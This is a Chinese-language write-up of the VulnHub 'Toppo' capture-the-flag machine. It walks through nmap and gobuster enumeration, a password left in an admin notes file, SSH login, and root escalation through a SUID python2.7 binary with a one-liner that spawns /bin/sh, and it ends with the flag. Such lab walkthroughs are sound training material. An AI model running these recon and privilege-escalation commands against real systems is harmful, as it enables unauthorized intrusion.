vulnhub（7）：Toppo（经典的suid滥用提权）

端口

nmap主机发现

nmap -sn 192.168.6.0/24
​
Nmap scan report for 192.168.6.34
Host is up (0.00020s latency).
​
34是新出现的机器，他就是靶机

nmap端口扫描

nmap -Pn 192.168.6.34 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
48230/tcp open  unknown
 
​
​
发现开放3个端口

nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.6.34详细端口扫描：
-sT：完整tcp连接
-sC：默认脚本扫描
-sV：服务版本探测
-O：系统信息探测
​
PORT      STATE SERVICE VERSION                                                                      │
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)                                 │
| ssh-hostkey:                                                                                       │
|   1024 ec61979f4dcb759959d4c1c4d43ed9dc (DSA)                                                      │
|   2048 8999c4549a1866f7cd8eabb6aa312ec6 (RSA)                                                      │
|   256 60bedd8f1ad7a3f3fe21cc2f11307b0d (ECDSA)                                                     │
|_  256 39d97926603d6ca21e8b1971c0e25e5f (ED25519)                                                   │
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))                                               │
|_http-server-header: Apache/2.4.10 (Debian)                                                         │
|_http-title: Clean Blog - Start Bootstrap Theme                                                     │
111/tcp   open  rpcbind 2-4 (RPC #100000)                                                            │
| rpcinfo:                                                                                           │
|   program version    port/proto  service                                                           │
|   100000  2,3,4        111/tcp   rpcbind                                                           │
|   100000  2,3,4        111/udp   rpcbind                                                           │
|   100000  3,4          111/tcp6  rpcbind                                                           │
|   100000  3,4          111/udp6  rpcbind                                                           │
|   100024  1          48230/tcp   status                                                            │
|   100024  1          49352/udp   status                                                            │
|   100024  1          52407/udp6  status                                                            │
|_  100024  1          56532/tcp6  status 
​
分析：
22端口开放
80端口http服务
111 rpcbind

立足

80端口

一个博客网站，整个网站除了contact 界面，没有任何交互的地方，因此没有任何漏洞
​
尝试敏感信息收集

gobuster dir -u http://192.168.100.34/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash 
​
/.php/                (Status: 403) [Size: 294]                                                      
/.html/               (Status: 403) [Size: 295]                                                      
/img/                 (Status: 200) [Size: 1775]                                                     
/icons/               (Status: 403) [Size: 295]                                                      
/mail/                (Status: 200) [Size: 948]                                                      
/admin/               (Status: 200) [Size: 937]                                                      
/css/                 (Status: 200) [Size: 1157]                                                     
/manual/              (Status: 200) [Size: 626]                                                      
/js/                  (Status: 200) [Size: 2045]                                                     
/vendor/              (Status: 200) [Size: 1343]
/.php/                (Status: 403) [Size: 294]                                                      
/.html/               (Status: 403) [Size: 295]                                                      
/server-status/       (Status: 403) [Size: 303]
​
分析：
mail和admin页面最有可能出现敏感信息，先看最敏感的

mail页面

mail页面是个文件目录，下面只有一个php文件：
contact_me.php
​
wget http://192.168.100.34/mail/contact_me.php
发现contact_me.php文件没有php代码，只有一行字符串：No arguments Provided!

admin页面

admin页面是个文件目录，下面只有一个txt页面：
notes.txt
​
打开发现这样信息：
Note to myself :
I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .
​
从中我们获取密码12345ted123

获取密码后的思路

获取密码后，首先要想到获取用户名
获取用户名之后要想到要与服务器有交互，但是我们之前说过整个80端口除了contact 界面就没有任何交互，contact是发送邮箱的界面，尝试扫描不存在漏洞，也没有密码的交互，只能排除
​
所以如果获取到用户名列表和密码列表，唯一的操作只能是ssh爆破，我们现在唯一的问题就是获取一个用户名列表，并与我们收集到的密码匹配

收集用户名

靶机名称：Toppo
常用用户名：admin、root
从密码（12345ted123）中收集到的可能是用户的字符串：ted

尝试登陆ssh

用户名不多，手动尝试即可，发现
用户：ted
密码：12345ted123
可以登录ssh

提权

信息枚举

sudo -l：无此命令
cat /etc/passwd：没有新的信息
cat /etc/crontab：没有计划任务脚本
find / -type f -perm -u=s 2>/dev/null：
​
/sbin/mount.nfs
/usr/sbin/exim4
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/python2.7
/usr/bin/chsh
/usr/bin/at
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/procmail
/usr/bin/passwd
/bin/su
/bin/umount
/bin/mount
​
*有一个可能是管理员设置的/usr/bin/procmail，还有一个非常敏感的/usr/bin/python2.7
​
/usr/bin/procmail 运行没有回显，不管他
/usr/bin/python2.7 是最有可能提权的，基本上板上钉钉了

suid滥用提权

运行suid的程序时，这个程序的进程euid是创建者的用户id，且按照euid的权限执行进程代码，这意味着我们如果这个程序能调用/bin/sh，他的权限将会按照euid的身份新起一个拥有euid权限的会话shell
​
注：但是调用/bin/bash将不会提权，因为/bin/bash在启动后，首先判断euid和ruid是否相同，如果不相同，他会利用权限更低的ruid（如果ruid的权限比euid低），自动进行降权处理
​
ruid：真实用户ID表示发起该进程的用户。
euid：称为有效用户 ID，它表示系统用来确定进程权限的用户身份。

使用bash，会被自动降权处理
python -c 'import os;os.system("/bin/bash")'
bash-4.3$ cd /root
/root: Permission denied
​
使用sh，按照euid进行
python -c 'import os;os.system("/bin/sh")'
直接拿到root的flag： 0wnedlab{p4ssi0n_c0me_with_pract1ce}